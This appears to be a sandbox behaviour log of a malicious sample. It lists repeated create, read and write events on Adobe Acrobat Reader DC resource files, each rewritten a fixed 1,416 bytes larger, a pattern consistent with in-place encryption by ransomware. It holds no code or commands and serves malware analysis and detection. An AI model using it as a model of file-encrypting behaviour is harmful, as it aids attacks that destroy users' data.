File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\cs-cz\ui-strings.js, size = 1187, size_out = 1187	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\cs-cz\ui-strings.js, size = 2603	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\ui-strings.js, size = 1183, size_out = 1183	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\hr-hr\ui-strings.js, size = 2599	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\root\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\root\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugin.js, size = 957, size_out = 957	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\plugin.js, size = 2373	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons.png, size = 6272, size_out = 6272	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons.png, size = 7688	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\faf_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Roundrect_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Roundrect_White@1x.png, size = 528, size_out = 528	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_Roundrect_White@1x.png, size = 1944	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Roundrect_White@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Roundrect_White@1x.png, size = 528, size_out = 528	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_Roundrect_White@1x.png, size = 1944	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\line.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line.cur, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line.cur, size = 7598, size_out = 7598	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\line.cur, size = 9014	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\cs-cz\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons2x.png, size = 449, size_out = 449	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons2x.png, size = 1865	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ja-jp\ui-strings.js, size = 954, size_out = 954	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\ja-jp\ui-strings.js, size = 2370	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main.css, size = 2262, size_out = 2262	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main.css, size = 3678	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\eu-es\ui-strings.js, size = 1400, size_out = 1400	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\eu-es\ui-strings.js, size = 2816	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\ui-strings.js, size = 1363, size_out = 1363	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\nb-no\ui-strings.js, size = 2779	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se\ui-strings.js, size = 1384, size_out = 1384	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sv-se\ui-strings.js, size = 2800	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ca-es\ui-strings.js, size = 856, size_out = 856	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\ca-es\ui-strings.js, size = 2272	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-fr\ui-strings.js, size = 856, size_out = 856	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\fr-fr\ui-strings.js, size = 2272	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pt-br\ui-strings.js, size = 857, size_out = 857	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\pt-br\ui-strings.js, size = 2273	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-cn\ui-strings.js, size = 850, size_out = 850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\zh-cn\ui-strings.js, size = 2266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\illustrations.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\ui-strings.js, size = 1041, size_out = 1041	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\ui-strings.js, size = 2457	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\ui-strings.js, size = 1076, size_out = 1076	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ko-kr\ui-strings.js, size = 2492	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sv-se\ui-strings.js, size = 1054, size_out = 1054	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\sv-se\ui-strings.js, size = 2470	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\ui-strings.js, size = 1047, size_out = 1047	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\cs-cz\ui-strings.js, size = 2463	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hr-hr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hr-hr\ui-strings.js, size = 1082, size_out = 1082	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\hr-hr\ui-strings.js, size = 2498	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\ui-strings.js, size = 1007, size_out = 1007	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\root\ui-strings.js, size = 2423	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\plugin.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz\ui-strings.js, size = 4628, size_out = 4628	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\cs-cz\ui-strings.js, size = 6044	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
